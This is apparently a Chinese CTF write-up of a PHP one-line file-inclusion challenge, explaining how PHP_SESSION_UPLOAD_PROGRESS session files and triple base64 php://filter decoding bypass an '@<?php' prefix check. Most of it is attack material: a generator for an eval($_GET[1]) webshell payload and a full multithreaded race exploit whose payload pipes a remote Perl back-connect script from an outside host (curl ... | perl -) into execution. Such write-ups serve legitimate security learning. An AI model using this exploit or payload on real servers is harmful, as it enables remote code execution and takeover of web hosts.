https://www.anquanke.com/post/id/162656
http://wonderkun.cc/index.html/?p=718
环境
ubuntu 18.04
php 7.2
PS:lsb_release -a
//查看ubuntu的发行版本
题目
<?php
($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__);
?>
PS:通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出头6个字符和 @<?php 比对,如果配对成功那么就会包含这个文件,否则就什么都不做
解题思路:
- 通过
PHP_SESSION_UPLOAD_PROGRESS
控制session 文件
php7.2的session文件存储路径是固定的/var/lib/php/sessions/sess_{php_session_id}
- 文件的开头必须是
@<?php
,sess
文件中的内容
upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}}
- 这个文件是以
upload_progress
开头的,不能直接包含,需要控制这个开头。
convert.base64-decode
Base64的索引表由64个ASCII字符组成:0-9,26个英文小写字母a-z,26个英文大写字母:A-Z,除此之外还有额外两个字符"+"和"/"
。遇到不符合 base64 规定字符的就会将其忽略
string.strip_tags
从字符串中去除 HTML 和 PHP 标记
最终payload
upload_progress_
是16个字符,但是根据 b64 的 decode 规则,其中只有14个字符能解析,但是 14个字符又不是 4 的整数倍,于是我们必须添加两个字符,将其变成16位。必须要保证在加了这个字符以后每次 b64 可解码的位数都是4 的整数倍,要不然就会吞掉我们的 payload。
echo "upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);')));
得到:
upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0=
-
三次解码:
-
查看源码
Orange大佬的 exp
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
print xxx
break
def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print
if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)